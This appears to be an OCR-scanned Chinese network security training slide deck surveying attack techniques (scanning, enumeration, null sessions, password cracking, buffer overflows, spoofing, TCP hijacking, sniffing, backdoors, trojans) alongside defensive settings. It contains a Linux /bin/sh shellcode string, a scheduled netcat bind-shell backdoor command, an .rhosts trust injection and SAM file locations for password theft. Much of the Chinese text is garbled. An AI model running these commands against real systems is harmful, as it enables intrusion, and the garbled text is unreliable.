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[ 11
[T
g

W B & L=

o« TRBEARM

1 I A

o H¥EgKsh Kt (Data Driven Attack)
o JB4 S5 Bd (Dos)

o K5I (Sniffer &Spoof)

e J51](BackDoor)
o SEEACHE Malicious)

o MWFRHET) (Privilege Escalation)
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o WFRAE BRI, FFEAS HARA B IE R T, IXRIGEHT K
ARE— B NZERIAT G B . 2P RASE:

— PRl (footprinting)
— $3# (scanning)

— Y47 (enumeration)
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Bk & (Footprinting)

e B H s

o MR LTE, @ EMEE, RERHRS Z2eMRHER. +
CRURAE

— AT EARANGKGE (M. Big. i, A
— W44, TPHuHETE
— DNSHRZ-#5 . WEMFIRSS 28 Tho IR554s;

- Bk, E AT A
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o WEGIEEELE CHID
— www. google. com
— www. networksolutions. com
— WWwWw. chnic. net

— www. checkdomin. com

— Whois¥uds e
o HAmKIgemE R g%
— www. netcraft. com

— www. samspade. org
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ER RITYA

. WHEA
— Nslookup
— Traceroute

— Whois

Strictly Private & Confidential



QQQ/“] umorgen
P .‘,J\ | fL\ ‘

j:ajﬁ (Scannj_ng) : A9 uml.org.cn

o M drgrs
— PR RBGEETZE, A Internet BRI AFAE NS
- EMRBIGE T A, b B R K
o HARBCEERE R
— HieiEshFEHL (Ping SweepHiR)
— W TR S H 5 R %% (Port ScandiiAR)

— ARtestRy) (0S Tdentification / FingerprintingfiAR) ;
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e Ping Sweep
— T BRI TA] AR AROK PR A 28 90 [l PN A T B A L
—  F BRI R

ICMP sweeps (ICMP ECHO requests)

Broadcast ICMP

Non—ECHO ICMP

TCP Sweep/UDP Sweep
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e Port Scan

— AR S B B H AR RS TCPELUDPSS 11 b, fifg 58 IS L8 AR 45 1F AL

14T
o FZHN:
— i HAs R4 LI TCPFIUDP AR 45 ;
— FRIRHPR RS 0SIEY;

— B U E I R R o e 55 R RRCAR
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PP

RESE AW S
e SuperScan;

e Fscan

e NmapNT

e NetScanTools Pro
e NetCat
e WinScan

o WUPS

(A9 T HD
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e Banner iHY%l:
— FTP. telnet. SMTP. HTTP. POP3%%
o i 1A
— Windows (135, 139, 445, 3389, 6531, 1433)
— Sun(32773 Sun RPC)
— Redhat (98, 119)
o IMERFR LR

— TTL. Ping. TraceRouteZ%
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TELNET

c:\>telnet 192.168.0. 241 c:\>telnet 192.168. 0. 162

Trying 192.168.0. 241. .. Microsoft (R) Windows 2000 (TM)

A 5.00 (WFAS 2195)

W fE B Microsoft Telnet Client

Telnet Client W # R & 5
5.00.99203. 1

IFAEIERER]192. 168. 0. 241. . .

Escape character is ] .

SUN 0S 5.6 (ttyp2)

login:

Escape %45k ’CTRL+]’
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Co0a00 inR.=E

FTP

c:\>ftp 192. 168. 0. 241

Connected to 192.168.0. 162. ..

220 . goodwel FTP server (Version wu—2.4.2-VR17(1) Mon Apr ...ready

c:\>ftp 192.168.0. 162
Connected to 192.168. 0. 162.
220 lost—my-self Microsoft FTP Service (Version 5.0).

User (192.168.0.162: (none)) :
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Co0a00 inR.=E

Ping

C:\>ping 192.168. 0. 162
Pinging 192.168.0. 162 with 32 bytes of data:
Reply from 192.168.0. 162: bytes=32 time<10ms TTL=128

Reply from 192.168.0.162: bytes=32 time<10ms TTL=128

C:\>ping 192. 168. 1. 241

Pinging 192.168. 1. 241 with 32 bytes of data:

Reply from 192.168. 1.241: bytes=32 time<10ms

Reply from 192.168.1.241: bytes=32 time<10ms
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TraceRoute

o MBI TH, HT%E DIPo4N— 8 IR s) 2 ) — & TP
o TAEJRE Y.

— Traceroute | fit A IZ IR 7 U TTLAE A1, DAEZE#EEE N1, B 3EM 3 H ) FR

2D In
— A B SR TTLL, SUTTLICOA O 2% i e Z FE 880 73 4, Jf[RliL TCMp
(EINEERSE

— HBJa—EkBlIE HERENL, HPEYREREETCRP
» destination unreachable (UDPEEI)

s JCMP Echo replay (ICMP echo requestiF)
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o AP EUE M FiBanner (0S&Service) ;
o RMIAN e ZE A H Bkt B 11 5

o FIFHVPAE BT B 5 1% 0Pl

o LIRECHTINAN T RE
LN IR AT 5

o LT AR S PR E 5 R SO PR -

— HAFICMP echo reply; host unreachable; time exceeded M #p %S
HEA M
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FORY,, o an
NKIA

o HE LAY

— Ipconfig. Netstat . Net user. Nslookup. Tracert
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o MRS LR B

— Showmount —e 1ip

— Net use , net view, net share
o HPRMHP4

— Finger. rusers. rwho

— nbtstat
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99009,
Net ShaI'e (NT ) A A I o 2O umlorg.cn

C:\>net share

wefy IPC
BRINFL =

\WINNT\System32\spool\drivers FJEIHLIXBIFEF
A\ BRINFL =

ADMINS -\WINNT poiy =i

E$ A\ FRIAIL =

gwshare C:\gwshare

HPLaser] LPT1: JG &AM HP LaserJet 6L

fiir 2 BN 58 1o
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th Stat ( NT ) =X KO uml.org.cn

C:\>nbtstat —a 192. 168. 0. 163

A I A

Node IpAddress: [192.168.0.162] Scope Id: []
NetBIOS Remote Machine Name Table

Name

WORKSTATION Registered
WORKSTATION <20> UNIQUE Registered
WORKGROUP <00> GROUP Registered
WORKGROUP <1E> GROUP Registered
WORKSTATION <03> UNIQUE Registered
ADMINISTRATOR <03> UNIQUE Registered
WORKGROUP <1D> UNIQUE Registered

..__MSBROWSE .<01> GROUP Registered

INet Services <1C> GROUP Registered

IS"WORKSTATION. <00> UNIQUE Registered

MAC Address = 00-80-C8-F6-3E-53
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o FAENIN
— NetBios##iteHithril (135-139)
— CIFS/SMB(SMB Over NetBios)

— IPC$ (Inter-Process Communication) 3£ = & Windows NT/2000 &2 4t I
P —NERER B a2, e T RSS2 2 TR 3l £ Y

— TCP 445(SMB Over TCP/IP)
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. CO@OY  wiRemz
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. MHS%Q%{%@%Z%%@%%%%%%,ﬁﬁmﬂﬁﬁ%gmﬁﬁ
ﬁiﬁﬂ%§§§?§%§§ﬁH@fﬁﬁaﬁkiﬁjifﬁﬁ%flﬂﬁig%io ‘B M texplorer. exe [
IR B RS uw s & S o T S R

o ARRALEMLAT LS M g BLTAT I EAL, RIS BN LA TG 24T U I Al 55 4% 1
AEATALRR -

o ATAN — & FEHLES ] BLRI R 55 o8 2 8] @ 37— NULL session, IXMNULL
session7F Ik 45 %% H J& T-everyoned . S T & E T
%%@ggﬁﬁowwmmﬁ&ﬁ@ﬁ%ﬂﬁo@%ﬂuﬂﬁﬁﬁﬂﬁﬁ
* ):' B Joh o
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Null Session

” ”n

e net use \\server\IPC$ /user:

R L IE ST
— R I P . SRR B AR

— ARSI, AR S . BN AL AT R
|1 A ME— PR A

- JIHIEE .

- -‘Li‘?_‘{ﬂﬂi%o
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Null Session

e net view \\server

— S H R BB R RS o 1 L B

3

e net time \\server
— I H RIS BN FE R S5 28 10 24 A s ] o
e At \\server

— a2 H RS BN R AR 55 23 1A A B AL
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] 4 7 48 325 29008 it

e BFifk135-139, 445um 1 (ML JEME)
o  EENetBios Over TCP/IP ({FARSSH Zffserver)
o BolyFEME

— HKEY-LOCAL MACHINE\SYSTEM\CurrentControSet\Control\LSA

— Value Name: RestrictAnonymous
— Data Type: REG DWORD
— Value: 1 (2 Win2000)

— Z%KB articles Q143474, Q143475, Q161372, Q155363, Q246261
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/;ﬁ Q000  KhR.zE
N Q ,
IE[ Eg. Ig‘jﬁl] /j ,\Y£ A ??KTL’ O uml.org.cn
A FH S 1 21|
IPBE | s |y EW |
AR (0):
IF ZZEdLn]
TCE/TF i |
Internet BhH¥ (TCP/IP) EiE
B |
IR T, MINLLEE BshigiRd 1r ik
ERENFEREREERLFEEIN IF VE. TCR/TF TSR BRI Yindovs 1HAEHAD
TCF/IF FlEgsREZER.
~ B=hFEE IF Hidk o
—i* {EF T @ IF Hudk s TCP,/IP "tk 2] x|

IF itk (I): | 192 .

TR () : | 255 |

BALAFSE () : | 192 .

v BF TCE/IF Wik (FRAiEACee ] (E)

 BzifE 1hs RS HiE Bl
—i+ {EFA TR 1rs (RS2t E) .
Bif IF: REsEE ()

#H rs fESEE )

O BRI ) O T M & 2EILE D)
- A — F BRE@ — O R —
&0 53
E I T I
...................... p—— — —
BRi
I WE | EM
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D00 kB
790%%

Windows HLEARPIFIE

— = YT I

o NT/20003 52 1t %
— B ] S OF R R U R
R
RS,

2 EERAIEE (BEIn) regedt32

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters

Name AutoShareServer
Type REG DWORD
Value 0

Z%Q143474. Q246261
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o ZHIRSGE, NS RIEANRGNE WGP, Pk,
o RRZHIOAFEIELE RN,
o RGN 2R

1 2 1 2 B -
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/.

o @R TIRFERESAOL, W%,
o P SIEFED TR AR R AR VAR 2

— Test. Password. guest. usernameZ

o O TERFZARGEHIN A
— Ntserver. orancleZ

o RN %A E S
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7292%

L2 W AT i

o A8 I SR A AR IR A N -
— FTP. POP. Telnet. HTTP. SNMP. Socks
— Mountd. Rlogin. NNTP. NFS.
— ICQ. IRC. PcAnywhere. VNC%

— MS SQL . OracleZ

o LURHRSTHR By O Bl B
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o FTAEIN,

— i fha TR ZlEUAD A
o HBHEW;

— [ H: NAT. LC%
o YiWT: ERh. MIZEEGR. B IRYT

— T H. Dsniff. Sniffer Pro. IKSZ
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o NT/2000f£] 114 ] 11 ;
o M EE IR

o EHOEEHI
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NT /2000

2 1R

K Re2EIE

uml.org.cn

e SAM (Security Accounts Manager)

— LanManageryf{#5v%k (LM)

= A, AR

— NTEAE L (NTLM/NTLMv2 )

= SR SR IS AR AT A ) e i L

= HzhfER

— SYSKEY

Strictly Private & Confidential



OO0  kpBemz
7292%

NT/20004] 14> ) @ 000 0 e

o SAMELIEAT I A

— %systemroot%\system32\config\sam

— %systemroot%\repair\sam. (NT)Rdisk

— %systemroot%\repair\sam (2000) ntbackup
— YFIEFRHKEY LOCAL MACHINE\SAM\SAM

HKEY LOCAL MACHINE\SECURITY\SAM{Y X}system & nJ {32 5 [
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\l) ??U KR 23R

NT /2000 114> [a] 5 79909 Junw

o SRENSAMEHE i) 7 vk
- fFRG HAE R T IMI RS, copy SAMICAY;
— Mrepair H s # U A FSAM;

- B4
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Ay LC3 - [Untitled 1] =] &3
File “iew  Lopuil Session Help
EEETE R = R - ]
L L O p h tC rac k User Name [ M Password [ <2 ] MILM Fassword | LM Hash [t [0 7
m blankity " emphy " ® " emphy " ~Aa03E435651404EEAADSE435E51404EE  31DECE e
Q boone.zpeed EVILLYROUTED avillprouted DESCOSAEZCAFEEIRESET 21911 8FE17E Q3FADe
.( :r aC k V 5 lg30|*1ris.sl*1c-|rn'|.5| FANIDALA rmanldala C9842ECCAAEERDF275B4248BED 2C9FIE A1BATE
m dave.grahiam SPECTER* specter 801172EFOBBEERABI0004151ADATEA38  EDEOST
m dgoddard _100%SERY CE _100%service B409C4R3ERIFERAFADFCEIFOSFFFDACS  9E2AB7
. E Guest AUTHORITARIAMN AuthoRitarian J8A4A364/2345450BB4033FEDETADIAE  384E30
‘J O h n t h e R I e r oy moftat PAPPYOMSIZHT pappyonsight CF91ABRE4F2841CECTRCAOISBEECIOIF  BOESCF
m klem. Joscot W14@BREARFAST vid@breaklfast  IFEIEIZH64E489FCEBFEEV4ARETZFE49  FFE13D
Qlynn-hill MOSEYD Auditing Options For This Session
45 mike beck. LINUS i .
& mike.cal SLIDESH [ rinnam fian _
patrick odingsr  CHRYSA, | 1 Enabled ‘wiord file:
mscnlt.franklin SCARF- IC:\F’rogram Files\@stakeiLC 3 words- | Browse. . |
wuji.hirajama CRACKEI | The Dictionary Crack tests for passwards that are the same as the wards listed in the
E ablaze?3 ABLAZES wiord hle. | his test 1z wery bast and hhds the weakest passwords.
m_ammosﬂy'l ! ANIMUS] — Dictionarg/Brute Hybrid Crack
A _cat CATN
I £ FATA7 V' Enabled |2 - IEharacters to vary [more is slower]
m_zmhg.'ﬂ Z00L0G The Dictinnang/Rnote Hphrid Crack tests for pazswnrds that are wanatinons of e wiords in
the word file. It findz pagzwordsz such az "Dana?3" or "monkeps!", Thiz test iz faszt and
firnds vk, pawsswonds,
—Brute Faoree Crack
M Enabled Character Set;
= |a-z. 0- 3 and t@mss s p_e= 10N 0L 7 7]
4]
Ready M Listributed [Eustam [Efaractern Setisth eack chiaraster];
Part |2 T
The Brute Force Crack. tests far passwords that are made up of the characters specified
inthe Character Set. It findz pagzwordsz such az "weR3ples" or "wCBEEI+1 20" This
test is slow and finds medium to strong passwaords. Specify a character zet with mare
characters to crack stronger passwords.

OF. I LCancel

Strictly Private & Confidential



(_- ik i .
7) ??U K Re2EIE

©  uml.org.cn

o P T K P 2 B S
B RO AR BT, R AL A 1T
R, B EAEE 42K, BB % E A6, K
WAL N3, TP N0,

AT RS _ (Ol x|

| Bt =Bw ||« =» | AOm|B| 2

il o EST B

R B TR S S A =ACT =EH

- e P g [RE] BB TR ME 6 TR 4 T
- SERDEES R¥] IR 7T B A 62 K ez F
-8 wePERRE | B RETT E 0% 0%

SR e BESESIERALEE o o TIRERIER O TIEERIER
- SRR L PR Vs ek LI p T N =t - T —
8 R PIREER
(8 4R

ERR I 5

I M o g

1 | 1]l o
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of§ FHISYSKEY Il %% 114 A

Securing the Windows NT Account Database | Account Databasze Key |

~{" Password Startup
T hig bool will allow vou to configure the Accounts : :
[ atabaze to enable additional encrpption, further Fr T &1 p st o1 Lo L= et e g Syt
protecting the database from compromize. start.

_ _ Fassian, I
Once enabled, thiz enciyption cannaot be

dizahled. [Emfirms I

0+ {Encryption Disabled

" Encryption Enabled ~{% Systern Generated Password

oK Cancel Unelase ™ Store Startup K.ey o Floppy Qisk .
Requires a floppy dizk to be inzerted during
zustern stark.

0+ Stare Startup Key Locall

Stares a key az part of the operating syztem,
and no interaction iz required duning system
ztart,

] Cancel
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- ANEERE ] DA e R R B4

- ANEERER R R 2

- AEEFAEM A AE R E L

- ANELEFEAE T A BB A N 1 2

- ANELEPHE TN TS PR 2
—  ANELEFEAE R VG A A H 2
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o LA
— EEE DO TRKER 14
- WEF MG AEE R RN 04, AT e R
- W ANAESICEIIR LS TR 4
— bR A I TR N B 114, AT I AR BE R
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N0 ok pEenxm
)il ???%{ /I@ uml.org.cn

o WRARRS TR
- (EPFrEAS LS T QIR B 2 4 [ 7
- EAER AR I LR AR
- MBS ARSI
- PUREIAER T S8 e s,  BnEsh A sl
- ABSU O NG BT AL AR L
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1]

I
w.u

e

BT

~ D I

FAOREEA F P ARAT — AT R 4 s

o XHPEHMTHLSHAT

o fERIBEIE ARG DA G E S TR
o HHATHKE, BRI

o IR ARG MBS A K 2
o ABAEZAHLA LAEHIAF A 4

o MW AL NI
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3

w.u

s

JL I

MAN K 194 286 %65 55 3 FH A LA ok

e JfAdministratorsik /Al AHAdministratorsik A FAS ] 251,
o NDHURIPE T EL L ORI T

o O THREBUT T RAIBOR B — K12, — T 607 B Hk

o fHFRVPN, SSH. —ME 4% 2 L.
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YA SR 179093

o RERURERY

— FPRURE P ARIAT I BAT REBR R . B2 N T ki
JTIAT I T R G R A5 -

- JRSFHERE
— AP G IR S5 o an sk 25 WWWHIR 25 &
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& FniR

o SUIDFEJY

UnixH {JSUID (Set User ID) 25 )@ ki 7 SUID
NIRRT o IXRIRRE PP AE AT I A SO 8 AR

UpasswdFe 7 & I SCAFJE A -
-r-s—x—x 1 root root 10704 Apr 15 1999 /usr/bin/passwd

"SUIDFE T

passwdFe )T HAT I 3t H AT roo t AR
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7999%
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o M ABEATSUIDFE T ?

SUIDFE 72 4 1 AT 38 1T 7 56 ) L8853 ] P AR AN RE 56 )
FIMBCEN. s CVHES A &N, H2 B ey
SO T B B OIACRR o Bt LU 80 5 1 Ry 7 22 DU B A Pz
7.
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BRI BB T

g

o X IEANIES A BRSSO E R, SRR TR A R .
o JRA:

ST IR

AP

- AL

- SEFE DL

Strictly Private & Confidential



LAY umlorgcen

OO  kpBesEm
1900%

H4 BBuffer Overflow?

e X AYStack Overflow.

« 19884FRobert MorrisiE fi=f{f

e 1996%F, Phrack MagazineZ4ii &k #*“Smashing The Stack For Fun
And Profit” ¥}z 4 5= AR VR It 52 )

o EERL50%H) Bl FAFIEFBOR]
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| EEEN——N /

o ZMIX (buffer): FH T Ihii i 76l B 10— B AE X 38
o Jiih (overflow): HIEEKSFETIEFMEAETUAX A

» JUF & (Boundary Check): 7E[RZZ X PAFMERIEIT, e B
KERGREHENXIAH
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ZMXEH - KiE(2)

o HERk (Stack): —BUAFFXIER, ARIERFM#ER, Fol. &
HHRREFRBOAHNG . RETRE.

o HE (Heap) : NAERF3)ZHC KA A7 X 45
- BSSX: #WIGEBIHEEANTE, RERVIMLHFHFSRE

o BRBUR[EIMAE: BREHAT 58 RIR Bl EEPATH T — &2 8
fik.
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» Shellcode: B fRBiE M LGN —BICmINAS, fEi B
I R P AT IX B

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

"\x80\xe8\xdc\xff\xff\xff/bin/sh”:
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CO@0® KiR.mm
AKX A

e
4
e gy

T HERRHIZZ M X

7

LR 53
[ ] ]
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KR 2R

]&::%“ Y =8 LD 2 E,.Q?@ o
L] -lflﬁ ~ l @ﬁ)ﬁ, tﬁ& W,ﬁ P .,L\‘)\,L\/\ uml.org.cn

4 bytes

n bytes

«——SP
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U KRR e BETR

T ??%Lﬂ‘ II o ?? ?O uml.org.cn

IR BREUR

Lhl

ﬂ*%‘;vﬁp ColZEBLTHE Y

4 bytes

i ”’7 HHLM EJsheIIcode n bytes
]

I~ LS
execve(/bin/sh)pupt B8k
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KR EETE
]&lﬁ:—:‘_’. H(J 75‘\“/2 E???? /!@ L||11I.0|'g.c:

-ib\:ls

HERRZZ M X

r’?ﬁ HHEH# pushellcode
IO FL

execve(/bin/sh) a8k

4 bytes 0x42424242

n bytes
Buffer[16]

+—SP
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ZmXr i ER

o JCdi A AT DA I R A 55 R P BRE AN HIURE Py o1 ¥t

o Hradi s n) P RLg By B RS P aa AT N i 5 3 AT AR S AR .
RAZRE e LR BUT 7 BAiads, Bk n] DU R sl A 4
THRURR
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00 kiR.zE
???ﬁ;@

HH R VIR A AE 1) SR R

TP XY

o JFRABAMATAIN A
- JPRARZ L i =N
= AW STRLIR A AL A T
— A L A AR VR AR
= strcpy, strcat, gets, sprintf,
o JFRA A AT IEFINIA T &

— BRI — L g D pR F i v e S T 8 v X H
%11

— memcpy (dest, src, strlen(src))
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Q00 AkpR.zE
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F5 iEbuffer overflowlt

Ll

o NINEBUEAN.

. RN T :'
o R K SUTDRR K SUTDAL . i

o TR LIS IR RS
For 56 2 B AT 25
o WARIFH IR

SEFIAS TR B s K 1) il 5%
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Buffer Overflow|na] Bt K] 52 M

o YT HLRIGIEAR LF B fEBO
o HORZ buffer overflowt &I .
o HIKKM bR PLE R BIR 20T, JEEAE SR
o —HBIIGE, BahE A nT DURTS RS R
o HERRUR SRR T DU AVE LA i
— I AR core S R R G (HREIRUERZED

— DoSH 4,
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?(?(?* ) REReEEIE

o~
= +O uml.org.cn

A AR S AT

Iy
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f L .
g})(lp&fu KR eETE

.
= T7+O uml.orgen

LG RST UK % N
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T4 F&spoofing ?

o AU AL IR AU HRE O 25E B N H

> > B
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D00  kpBesm
A 799%%

FEHJspoofing3

o fEfEHIHEDRERE (ARP spoofing)

« IPHilikfhAe (IP Spoofing)
 emailHihibfh2é (Anonymous Mail)
o A% (DNS Spoofing)

o [HBEhEE  (Honey Pot)
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P ??U KR eBEIE

©  uml.org.cn

HspoofingHLBIFA 7900

o JE4UR5S (DoS)

e il (sniffer)
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OO  kpBesEm
1900%

LAY umlorgcen

SpoofingH] H B

o RIER A AR ER
o BRI
o D fEAE T
o OBk s
o VI N HIE£Z
o RN NIIERL

#

o T4 Y T KKk
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oy

{ @@ "y -
\l)qj)cl)((‘)d@ KNI FReEEIP

TCPiE# R Y (Connect Hijack) AETTA© umlorgen

o PhEERUFAE TN

o —FPLLACE 2R Y

o HUGH

o WALGHIEZA KM (Mitnick)

« ITZAK
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=

( OO0  kpBemz
(?k{ ._@

TCPIE#: K ¥ (Connect Hi jack) AATAF© umargen

Tkt CH)TCPHR 3L | |
Fventz at sitel Message Ewents at site?

HFISYNFF 5 (seqg=y)

R

send SIH seqex
Receive SIN
send SIH seqeytaCE=utl

Receiwve STNTACK
send ACE=yt]

[N/

Receiwve ACK

TCF E=tablish & conmection
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CO@O® Kim.zm
TCPiE#:#K Y (Connect Hi jack) FTTIH0 umtorger

o Uil FE

— AMIZERBRIC R HTCPIE FAE 5 IS — M55 (Send SYN=x) . E#%C
[PJrshil 55 o

- ADYAR B HH TCPHRE T 5 1 5H =ME 5 (Send ACK=y+1) o JLAXA
ey AR T (AT AR . W R SE RS, CNAZIANBE 4
% o

Strictly Private & Confidential



= uml.org.cn

D00 kB

TCPiZE#EEEK U (Connect Hi jack)

- CRIEFIERAR, KIBZA(E TN, T TRallta < riRas.

— AMREERBI CHrsh il 4S5 ik — % . Hblllecho “+ +">. rhosts. CHi

XA 2

— PATHE RN A LA AL T CHEAE =ML, XHFEARL A BLIE & H H
rlogin’&xC.
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T)QJ)C')(?U RIpFREETE
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TCPiZEE:H U (Connect Hi jack)

o fROLINE:
- JREEADEERR
— TFREAERS, MHBEHLTCPI S, ik RN 75
— [ Kl H e g A AROR B S AR LIRS
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ot
>
O

Sniffer: i &1 SE H K-

o s R

o BURA S L

o L) R
~ T
— PR
PN 2
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\')9(??”)@ KRR eEEIE
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T EEZANR

o (W RN
o I IR N2

o [RFARIE

G A Tab

secret
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00 kiR
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o FEAHAA K EATHIE O, FHMESnifferbi AN H B /D
o ‘H5Spoofing Tk, G TH AN A8 H
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(_- ik i .
7) ??U K Re2EIE

:E%ﬂ:i%_l:‘ H(J [ﬁ%ii* YO © uml.orgen

\Ll

- JRHE

- KM RET] 5 B

- MFRETRAEAT R a 2 8E
- TH

— Sniffer pro. IRIS. netxray

— tcpdump. snoop. dsniff
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SSHIREE T UERHA

arpspoof, fragroute, dsniff
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g)??glmf_x} RIR TR

1D|1. %::E‘ -t A uml.org.cn

e UnixF4&:

— TCPDump
— Sniffit (Solaris. SGIFILinux)

— shoop

. S aniffer Pro - Local/Accton ISA NE-Series Ethernet Ad... HEIE
- DSHlff Flle Manlta}“ Capture Dlsplay Taals Database Wlndaw Help

| Slairimiiaiz) 2l ol |

e WindowsF&

Traffic Map

— Sniffer Pro(NetXray)

— Iris

For Help, press Fi @ ] | ﬁ | 2690
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QQQQ kg B e BETE
NKIA

O uml.or g.cn

RIATIT

o PGS IR R SR .
X % 17 R IR

o RGISATHEIRTE .

o PsHLLEH Al BEIHERE .

o EHMR AT m AR
o RILME ERITT
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OO  kpBesEm
1900%

LAY umlorgcen

gl

o JE A AT Y £ L

o JEARL AR NATHAL

o AR HGE . (SSH. IPSec)

il
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?(?(?* ) REReEEIE

o~
= T © uml.org.cn

TREFE ] 5 ARG
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m%s%%ﬁ%u %'__FEI/F? AN | A © uml.org.cn

o EH A A 4 R

— Windows Terminal Server (3389)
— pcAnyWhere (5631, 5632)
— ControlIT(799. 800)

— VNC(Vitual Network Computing) (5800. 5801)

About Win¥NC x|

WirtdHC Yerzion 3.3.3 B9
by James ‘Weatherall

Yirkual Metwork, Cormputing
ErEEEE

For mare infarmation, see weasuk. rezearch. ath. comdvne

Copyright 1333-2001 - AT&T Rezearch Labz Cambridge
The %MC Logo iz a trade mark of AT &T Labs-Cambridge Ltd.
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— YRR AT AT ASR I )
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TREREF P090% Lt

o NIRRT
- A
— PR B
- BRI Rl
— BV e AR MO
— AR RAE i W
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(‘l)??qf’?@ REReEIE

}E. I‘] Ei* % 2 uml.org.cn

o Wi HABANRG G, G H A8 R B3R AG U5 BRI HL .
i

SPINEE Yili &
- KT
- JRBI3CAF
— R EEIAED
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K Re2EIE
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S REPE A R A
Rootki t;

AN FE;

iEZNEINE
SRy A H TR BRI R S
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Q kBB
®

i ?? .-:@, iml.org.cn
5] KA LKA umlorg

-

o HANJETIRER T2
- M ELREIK " 512,
- W RGN
— 0 S P R R
— AR5 2B R A BR R e TR - A E )
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0900 kpRems
}E‘ I\] ??H{ O uml.org.cn
o JRFAF

— NT: StartupXX 32 TFHIALL Users XA,

— Unix: rc.d5inetd. conf
o SRR

— At \\192.168.50. 10 12:00A /every:1 “nc —-d -L —p8080 —e

cmd. exe

— Unix : crontab
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OO0 kEpBemE
@?ﬁ

E l‘_‘l % %J’_‘? E‘J Zifﬂ, K O uml.org.cn

o HUHEYT T R R TR AL BT KT
o WHARIRCE I, AR NIRRT N
- BB A

SRR

o I=ESECT

o DR L I R
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OO  kpBesEm
7902%

LAY umlorgcen

Ja I 1R B A I

o S PN DU A ORI FE
— Netstat —an; fport; lsof
o ARG
o EMHSEIR R, TREETI .
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YO R Benys

S';Ei —Eﬁn‘, H(\!)(J?CIDQJ O uml org.cn
AP 3 AL A org.

o SRR = REOA SR AGE AT R B s AU . AR
R U R SR R A TR A
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=  EraEr

o SR SR
ST LT 2 )
3k 9 % 5
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; .
?(?kﬁu KR eEIE

%
T L A@  umlorgen

JmE (Virus)

« BOOT 7|3 AE:

o DOS Ji#f

« Windows Jpi &5
ki | D)

ﬁ%:- e Java Ji&r
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=

1 (Worm)

Windows NT/2000
Al 55 %5

T ARk

-Tiﬁ%&%ﬁﬁ%ﬁ
o IHHUE DN EUSHEN, %ILHCHOKSE
e ds VLR R e v AL RS L




=

= (Worm)

O
O

PP

NS

K Re2EIE

uml.org.cn

o UGG HL— M 3N A AL Ak
— J&4t (Enabling Vulnerability)
= I 8 TR SRS R S AL PR
— fE#k (Spreading Mechanism)
= [k EEH HAR I AEHE, d IR
= Nimda. CodeRed
— #%47 (Malicious Payload)

= DOS Zombie. Backdoor. RootkitZ%
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f & oo,
QJ)(?(?U RIpFREETE

%
T L A@  umlorgen

Internet

ﬁ%ﬁﬁt MG AEH I
%%Lﬂ?%m RXFFLZ 2
RV o) 2 RS0 I ) BB

SO R AR 7 B U ]

s, s

M e i % T HOE RS R, ME— B H B slg it i
PERIVHSENL, MNP RGN )ET )
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Q kBB
®

zIN 7900S
% AN TA 2O uml.org.cn

o KREREUEC/SEiH;

+ Serverli—MREHAMI TN L, AR, ALK
25, Ulpatch. exe

o Clientym— & B LA I
o HATEBCERE T, W LA EAE i serverFE .
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K Re2EIE

uml.org.cn

7000
IR SR

o {KIH]

®
O

— YK

= G clind
5 bk v4.0 [Hyne 't B] -0 x|
= (G server THE]  iEE]  BEG) AR
Tu) Ga By & %4
_ R ‘ Z @8 | | 5 | 1 Ra
| stz s | = mn: e mEns: | BRI |
O XPFEEE | By et |
= 7626 (TCP) - BRI TR [ TR ) | BEEEIE I
M- 192 185 0,867 =T
== 192 168 0,64 =
A HE Y
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EZARE KR 9009 Lunms

o Rl X B E AT B VA SR Windows i ) 7 VAAH R (A
R, EFSEMAE..)

— AT IR SRy RS Gk P AR A A7
— JXEERE e I M 4 ol T B e AR G T B
- RGP

- ARG IR AT A
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OO0  kpBemz
7292%

R ARG ) R T o

o KEMVEMER, EHIREE ] REAAAER LS
— IBATHEM R GEE Regedit. exe, FEMTH AV A 0

1. \HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio
n\Run: RunOnce: RunServices: RunServicesOnce

2.  HKEY LOCAL MACHINE\SOFTWARE
Microsoft\Windows NT\CurrentVersion\WinLogon
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fl)gj)QQu KR EIE

%%4—66—% E‘J ﬁiy_lb AN I J © uml.org.cn

~

#:* Registry Editor

Begistny  Edit  Miew Help

Iﬁ [ChA ;I Mame | Diata

D Installer El;][Defaultj (walue not set)

B Internet =ettings [a_!]ScanFiegistry "DAMYINDOW S scanregw.exe fautorun”
D todulellsage E!]SystemTray "Sws Tray Exe

D b5-D0S Emulation L{E]Taskhdu:unitnr "DAWIRDOMW S taskmon exe"

(21 MS-DOSOptians
Ij I etk
D Ml

{3 FunOnce

{3 FunOnceEx

D Funservices
{3 FunServicesOnce

{1 SharedDLLs

ﬁ-‘lﬁ Shall Fyvtancsinns i
< | | B <

|hf1;.,.f Computer\HEEY _LOCAL_MACHIMEY Software MicrosoftyWindowsh Currentversion’, Fun

N[5
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q) ’vu K Fp B e

\Q uml.org.cn

Y SUAN LY &)

A DU XA B

" Registry Editor

Eegistry  Edit Miew Help

H-[C Excelhtmlfile
D Excelhtmlitemplate
D ExcelMacroshest
Iﬁ Exceltorkshest
EI Iﬁ exefile
----- B Defaultlcon
=3 shell
Ellﬁ open

- -‘-Hj commmand
- - shellex
l #-( EYEDOG.EYEDOGCH!.1
Iﬁ Faxiew Document
---I':I file
Ij FILECHECK. FileChechkCirl 1
Ij FileType
-2 Filter
D FlashFrop FlashFrop
Iﬁ FlashFrop.FlashFrop.d
- [0 frckile

I:I Folder

F.53 fanfile hd
<] | _'*IJ 1]

|rv1y ComputeryHEEY _CLAZSES_ROOTYexefilelshelllopentcommand

Mame Diata
[i.i]l:DEfﬂult:I a1 o

N =
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R ARG ) R T o

I SRSV =EBEL
— %systemroot%\profiles\%username%\starmenu\programes\starup
— Win. ini
— SYSTEM. INISCHN I AN load. run AJ DL R

— Autoexec. bat

— Re.d Hx5 inetd. conf 34 (Unix)

Strictly Private & Confidential



uml.org.cn

\ N P0@09P_ Knmemwm
EEAEHR xXTEe
FrE\System 5\System32 IR AT, I AR IE,
TERRAE], 22 vl e S AE

o ARXLESTIR R JE T
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000 xER.zm
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A

MIRACLESEVERYDAY
8 X W ®F 7 i

Thanks!

Professional..Security.Solution.Provider.
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